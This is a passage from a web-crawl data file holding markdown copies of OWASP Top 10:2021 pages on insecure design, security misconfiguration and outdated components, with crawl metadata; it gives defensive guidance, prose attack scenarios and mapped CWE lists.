[OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n\n## List of Mapped CWEs\n\n[CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n\n[CWE-74 Improper Neutralization of Special Elements in Output Used by a\nDownstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n\n[CWE-75 Failure to Sanitize Special Elements into a Different Plane\n(Special Element Injection)](https://cwe.mitre.org/data/definitions/75.html)\n\n[CWE-77 Improper Neutralization of Special Elements used in a Command\n('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n\n[CWE-78 Improper Neutralization of Special Elements used in an OS Command\n('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n\n[CWE-79 Improper Neutralization of Input During Web Page Generation\n('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n\n[CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page\n(Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n\n[CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n\n[CWE-87 Improper Neutralization of Alternate XSS Syntax](https://cwe.mitre.org/data/definitions/87.html)\n\n[CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n\n[CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n\n[CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n\n[CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n\n[CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n\n[CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n\n[CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n\n[CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n\n[CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n\n[CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n\n[CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n\n[CWE-100 Deprecated: Was catch-all for input validation issues](https://cwe.mitre.org/data/definitions/100.html)\n\n[CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n\n[CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n\n[CWE-138 Improper Neutralization of Special Elements](https://cwe.mitre.org/data/definitions/138.html)\n\n[CWE-184 Incomplete List of Disallowed Inputs](https://cwe.mitre.org/data/definitions/184.html)\n\n[CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n\n[CWE-471 Modification of Assumed-Immutable Data (MAID)](https://cwe.mitre.org/data/definitions/471.html)\n\n[CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n\n[CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n\n[CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n\n[CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n\n[CWE-652 Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')](https://cwe.mitre.org/data/definitions/652.html)\n\n[CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 9477, "slov": 1006, "odkazu": 83, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:55", "sha256": "82eedcd56b9e31f797d508fafb20641bba7af1fced79b52af883226ae49350e9", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/75.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/87.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/100.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/138.html", "https://cwe.mitre.org/data/definitions/184.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/471.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/652.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A04_2021-Insecure_Design/", "titulek": "A04 Insecure Design - OWASP Top 10:2021", "h1": "A04:2021 – Insecure Design", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A04_2021-Insecure_Design/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A04:2021 – Insecure Design"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Requirements and Resource Management"}, {"uroven": 3, "text": "Secure Design"}, {"uroven": 3, "text": "Secure Development Lifecycle"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A04:2021 – Insecure Design\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 24.19% | 3.00% | 6.46 | 6.78 | 77.25% | 42.51% | 262,407 | 2,691 |\n\n## Overview\n\nA new category for 2021 focuses on risks related to design and architectural flaws, with a call for more use of threat modeling, secure design patterns, and reference architectures. As a community we need to move beyond \"shift-left\" in the coding space to pre-code activities that are critical for the principles of Secure by Design. Notable Common Weakness Enumerations (CWEs) include *CWE-209: Generation of Error Message Containing Sensitive Information*, *CWE-256: Unprotected Storage of Credentials*, *CWE-501: Trust Boundary Violation*, and *CWE-522: Insufficiently Protected Credentials*.\n\n## Description\n\nInsecure design is a broad category representing different weaknesses, expressed as “missing or ineffective control design.” Insecure design is not the source for all other Top 10 risk categories. There is a difference between insecure design and insecure implementation. We differentiate between design flaws and implementation defects for a reason, they have different root causes and remediation. A secure design can still have implementation defects leading to vulnerabilities that may be exploited. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks. One of the factors that contribute to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.\n\n### Requirements and Resource Management\n\nCollect and negotiate the business requirements for an application with the business, including the protection requirements concerning confidentiality, integrity, availability, and authenticity of all data assets and the expected business logic. Take into account how exposed your application will be and if you need segregation of tenants (additionally to access control). Compile the technical requirements, including functional and non-functional security requirements. Plan and negotiate the budget covering all design, build, testing, and operation, including security activities.\n\n### Secure Design\n\nSecure design is a culture and methodology that constantly evaluates threats and ensures that code is robustly designed and tested to prevent known attack methods. Threat modeling should be integrated into refinement sessions (or similar activities); look for changes in data flows and access control or other security controls. In the user story development determine the correct flow and failure states, ensure they are well understood and agreed upon by responsible and impacted parties. Analyze assumptions and conditions for expected and failure flows, ensure they are still accurate and desirable. Determine how to validate the assumptions and enforce conditions needed for proper behaviors. Ensure the results are documented in the user story. Learn from mistakes and offer positive incentives to promote improvements. Secure design is neither an add-on nor a tool that you can add to software.\n\n### Secure Development Lifecycle\n\nSecure software requires a secure development lifecycle, some form of secure design pattern, paved road methodology, secured component library, tooling, and threat modeling. Reach out for your security specialists at the beginning of a software project throughout the whole project and maintenance of your software. Consider leveraging the [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org) to help structure your secure software development efforts.\n\n## How to Prevent\n\n- Establish and use a secure development lifecycle with AppSec\n professionals to help evaluate and design security and\n privacy-related controls\n- Establish and use a library of secure design patterns or paved road\n ready to use components\n- Use threat modeling for critical authentication, access control,\n business logic, and key flows\n- Integrate security language and controls into user stories\n- Integrate plausibility checks at each tier of your application\n (from frontend to backend)\n- Write unit and integration tests to validate that all critical flows \n are resistant to the threat model. Compile use-cases *and* misuse-cases\n for each tier of your application.\n- Segregate tier layers on the system and network layers depending on the\n exposure and protection needs\n- Segregate tenants robustly by design throughout all tiers\n- Limit resource consumption by user or service\n\n## Example Attack Scenarios\n\n**Scenario #1:** A credential recovery workflow might include “questions\nand answers,” which is prohibited by NIST 800-63b, the OWASP ASVS, and\nthe OWASP Top 10. Questions and answers cannot be trusted as evidence of\nidentity as more than one person can know the answers, which is why they\nare prohibited. Such code should be removed and replaced with a more\nsecure design.\n\n**Scenario #2:** A cinema chain allows group booking discounts and has a\nmaximum of fifteen attendees before requiring a deposit. Attackers could\nthreat model this flow and test if they could book six hundred seats and\nall cinemas at once in a few requests, causing a massive loss of income.\n\n**Scenario #3:** A retail chain’s e-commerce website does not have\nprotection against bots run by scalpers buying high-end video cards to\nresell auction websites. This creates terrible publicity for the video\ncard makers and retail chain owners and enduring bad blood with\nenthusiasts who cannot obtain these cards at any price. Careful anti-bot\ndesign and domain logic rules, such as purchases made within a few\nseconds of availability, might identify inauthentic purchases and\nrejected such transactions.\n\n## References\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design:Security Architecture](https://owaspsamm.org/model/design/security-architecture/)\n- [OWASP SAMM: Design:Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## List of Mapped CWEs\n\n[CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n\n[CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n\n[CWE-209 Generation of Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/209.html)\n\n[CWE-213 Exposure of Sensitive Information Due to Incompatible Policies](https://cwe.mitre.org/data/definitions/213.html)\n\n[CWE-235 Improper Handling of Extra Parameters](https://cwe.mitre.org/data/definitions/235.html)\n\n[CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n\n[CWE-257 Storing Passwords in a Recoverable Format](https://cwe.mitre.org/data/definitions/257.html)\n\n[CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n\n[CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n\n[CWE-280 Improper Handling of Insufficient Permissions or Privileges](https://cwe.mitre.org/data/definitions/280.html)\n\n[CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n\n[CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n\n[CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n\n[CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n\n[CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n\n[CWE-430 Deployment of Wrong Handler](https://cwe.mitre.org/data/definitions/430.html)\n\n[CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n\n[CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n\n[CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n\n[CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n\n[CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n\n[CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n\n[CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n\n[CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n\n[CWE-579 J2EE Bad Practices: Non-serializable Object Stored in Session](https://cwe.mitre.org/data/definitions/579.html)\n\n[CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n\n[CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n\n[CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n\n[CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n\n[CWE-650 Trusting HTTP Permission Methods on the Server Side](https://cwe.mitre.org/data/definitions/650.html)\n\n[CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n\n[CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n\n[CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n\n[CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n\n[CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n\n[CWE-840 Business Logic Errors](https://cwe.mitre.org/data/definitions/840.html)\n\n[CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n\n[CWE-927 Use of Implicit Intent for Sensitive Communication](https://cwe.mitre.org/data/definitions/927.html)\n\n[CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n\n[CWE-1173 Improper Use of Validation Framework](https://cwe.mitre.org/data/definitions/1173.html)", "znaku_textu": 10737, "slov": 1243, "odkazu": 89, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:56", "sha256": "4311f2025aee78c56ceff4c4868f00483afdf360bc5f9ff0a6a3f79576127ee3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/security-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/209.html", "https://cwe.mitre.org/data/definitions/213.html", "https://cwe.mitre.org/data/definitions/235.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/257.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/280.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/430.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/579.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/650.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/840.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/927.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1173.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A05_2021-Security_Misconfiguration/", "titulek": "A05 Security Misconfiguration - OWASP Top 10:2021", "h1": "A05:2021 – Security Misconfiguration", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A05_2021-Security_Misconfiguration/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2021 – Security Misconfiguration"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A05:2021 – Security Misconfiguration\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 20 | 19.84% | 4.51% | 8.12 | 6.56 | 89.58% | 44.84% | 208,387 | 789 |\n\n## Overview\n\nMoving up from #6 in the previous edition, 90% of applications were\ntested for some form of misconfiguration, with an average incidence rate of 4.51%, and over 208k occurrences of a Common Weakness Enumeration (CWE) in this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up.\nNotable CWEs included are *CWE-16 Configuration* and *CWE-611 Improper\nRestriction of XML External Entity Reference*.\n\n## Description\n\nThe application might be vulnerable if the application is:\n\n- Missing appropriate security hardening across any part of the\n application stack or improperly configured permissions on cloud\n services.\n- Unnecessary features are enabled or installed (e.g., unnecessary\n ports, services, pages, accounts, or privileges).\n- Default accounts and their passwords are still enabled and\n unchanged.\n- Error handling reveals stack traces or other overly informative\n error messages to users.\n- For upgraded systems, the latest security features are disabled or\n not configured securely.\n- The security settings in the application servers, application\n frameworks (e.g., Struts, Spring, ASP.NET), libraries, databases,\n etc., are not set to secure values.\n- The server does not send security headers or directives, or they are\n not set to secure values.\n- The software is out of date or vulnerable (see [A06:2021-Vulnerable\n and Outdated Components](../A06_2021-Vulnerable_and_Outdated_Components/)).\n\nWithout a concerted, repeatable application security configuration\nprocess, systems are at a higher risk.\n\n## How to Prevent\n\nSecure installation processes should be implemented, including:\n\n- A repeatable hardening process makes it fast and easy to deploy\n another environment that is appropriately locked down. Development,\n QA, and production environments should all be configured\n identically, with different credentials used in each environment.\n This process should be automated to minimize the effort required to\n set up a new secure environment.\n- A minimal platform without any unnecessary features, components,\n documentation, and samples. Remove or do not install unused features\n and frameworks.\n- A task to review and update the configurations appropriate to all\n security notes, updates, and patches as part of the patch management\n process (see [A06:2021-Vulnerable\n and Outdated Components](../A06_2021-Vulnerable_and_Outdated_Components/)). Review\n cloud storage permissions (e.g., S3 bucket permissions).\n- A segmented application architecture provides effective and secure\n separation between components or tenants, with segmentation,\n containerization, or cloud security groups (ACLs).\n- Sending security directives to clients, e.g., Security Headers.\n- An automated process to verify the effectiveness of the\n configurations and settings in all environments.\n\n## Example Attack Scenarios\n\n**Scenario #1:** The application server comes with sample applications\nnot removed from the production server. These sample applications have\nknown security flaws attackers use to compromise the server. Suppose one\nof these applications is the admin console, and default accounts weren't\nchanged. In that case, the attacker logs in with default passwords and\ntakes over.\n\n**Scenario #2:** Directory listing is not disabled on the server. An\nattacker discovers they can simply list directories. The attacker finds\nand downloads the compiled Java classes, which they decompile and\nreverse engineer to view the code. The attacker then finds a severe\naccess control flaw in the application.\n\n**Scenario #3:** The application server's configuration allows detailed\nerror messages, e.g., stack traces, to be returned to users. This\npotentially exposes sensitive information or underlying flaws such as\ncomponent versions that are known to be vulnerable.\n\n**Scenario #4:** A cloud service provider (CSP) has default sharing\npermissions open to the Internet by other CSP users. This allows\nsensitive data stored within cloud storage to be accessed.\n\n## References\n\n- [OWASP Testing Guide: Configuration\n Management](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n- [OWASP Testing Guide: Testing for Error Codes](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/01-Testing_For_Improper_Error_Handling)\n- [Application Security Verification Standard V14 Configuration](https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md)\n- [NIST Guide to General Server\n Hardening](https://csrc.nist.gov/publications/detail/sp/800-123/final)\n- [CIS Security Configuration\n Guides/Benchmarks](https://www.cisecurity.org/cis-benchmarks/)\n- [Amazon S3 Bucket Discovery and\n Enumeration](https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html)\n\n## List of Mapped CWEs\n\n[CWE-2 7PK - Environment](https://cwe.mitre.org/data/definitions/2.html)\n\n[CWE-11 ASP.NET Misconfiguration: Creating Debug Binary](https://cwe.mitre.org/data/definitions/11.html)\n\n[CWE-13 ASP.NET Misconfiguration: Password in Configuration File](https://cwe.mitre.org/data/definitions/13.html)\n\n[CWE-15 External Control of System or Configuration Setting](https://cwe.mitre.org/data/definitions/15.html)\n\n[CWE-16 Configuration](https://cwe.mitre.org/data/definitions/16.html)\n\n[CWE-260 Password in Configuration File](https://cwe.mitre.org/data/definitions/260.html)\n\n[CWE-315 Cleartext Storage of Sensitive Information in a Cookie](https://cwe.mitre.org/data/definitions/315.html)\n\n[CWE-520 .NET Misconfiguration: Use of Impersonation](https://cwe.mitre.org/data/definitions/520.html)\n\n[CWE-526 Exposure of Sensitive Information Through Environmental Variables](https://cwe.mitre.org/data/definitions/526.html)\n\n[CWE-537 Java Runtime Error Message Containing Sensitive Information](https://cwe.mitre.org/data/definitions/537.html)\n\n[CWE-541 Inclusion of Sensitive Information in an Include File](https://cwe.mitre.org/data/definitions/541.html)\n\n[CWE-547 Use of Hard-coded, Security-relevant Constants](https://cwe.mitre.org/data/definitions/547.html)\n\n[CWE-611 Improper Restriction of XML External Entity Reference](https://cwe.mitre.org/data/definitions/611.html)\n\n[CWE-614 Sensitive Cookie in HTTPS Session Without 'Secure' Attribute](https://cwe.mitre.org/data/definitions/614.html)\n\n[CWE-756 Missing Custom Error Page](https://cwe.mitre.org/data/definitions/756.html)\n\n[CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')](https://cwe.mitre.org/data/definitions/776.html)\n\n[CWE-942 Permissive Cross-domain Policy with Untrusted Domains](https://cwe.mitre.org/data/definitions/942.html)\n\n[CWE-1004 Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html)\n\n[CWE-1032 OWASP Top Ten 2017 Category A6 - Security Misconfiguration](https://cwe.mitre.org/data/definitions/1032.html)\n\n[CWE-1174 ASP.NET Misconfiguration: Improper Model Validation](https://cwe.mitre.org/data/definitions/1174.html)", "znaku_textu": 7277, "slov": 816, "odkazu": 65, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:57", "sha256": "6943e6cc677e4194ede1267b3c14e8ff193cff5911bec6594390f5d84f584434", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x22-V14-Config.md", "https://csrc.nist.gov/publications/detail/sp/800-123/final", "https://www.cisecurity.org/cis-benchmarks/", "https://blog.websecurify.com/2017/10/aws-s3-bucket-discovery.html", "https://cwe.mitre.org/data/definitions/2.html", "https://cwe.mitre.org/data/definitions/11.html", "https://cwe.mitre.org/data/definitions/13.html", "https://cwe.mitre.org/data/definitions/15.html", "https://cwe.mitre.org/data/definitions/16.html", "https://cwe.mitre.org/data/definitions/260.html", "https://cwe.mitre.org/data/definitions/315.html", "https://cwe.mitre.org/data/definitions/520.html", "https://cwe.mitre.org/data/definitions/526.html", "https://cwe.mitre.org/data/definitions/537.html", "https://cwe.mitre.org/data/definitions/541.html", "https://cwe.mitre.org/data/definitions/547.html", "https://cwe.mitre.org/data/definitions/611.html", "https://cwe.mitre.org/data/definitions/614.html", "https://cwe.mitre.org/data/definitions/756.html", "https://cwe.mitre.org/data/definitions/776.html", "https://cwe.mitre.org/data/definitions/942.html", "https://cwe.mitre.org/data/definitions/1004.html", "https://cwe.mitre.org/data/definitions/1032.html", "https://cwe.mitre.org/data/definitions/1174.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/", "titulek": "A06 Vulnerable and Outdated Components - OWASP Top 10:2021", "h1": "A06:2021 – Vulnerable and Outdated Components", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A06_2021-Vulnerable_and_Outdated_Components/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2021 – Vulnerable and Outdated Components"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A06:2021 – Vulnerable and Outdated Components\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 3 | 27.96% | 8.77% | 51.78% | 22.47% | 5.00 | 5.00 | 30,457 | 0 |\n\n## Overview\n\nIt was #2 from the Top 10 community survey but also had enough data to make the\nTop 10 via data. Vulnerable Components are a known issue that we\nstruggle to test and assess risk and is the only category to not have\nany Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploits/impact\nweight of 5.0 is used. Notable CWEs included are *CWE-1104: Use of\nUnmaintained Third-Party Components* and the two CWEs from Top 10 2013\nand 2017.\n\n## Description\n\nYou are likely vulnerable:\n\n- If you do not know the versions of all components you use (both\n client-side and server-side). This includes components you directly\n use as well as nested dependencies.\n- If the software is vulnerable, unsupported, or out of date. This\n includes the OS, web/application server, database management system\n (DBMS), applications, APIs and all components, runtime environments,\n and libraries.\n- If you do not scan for 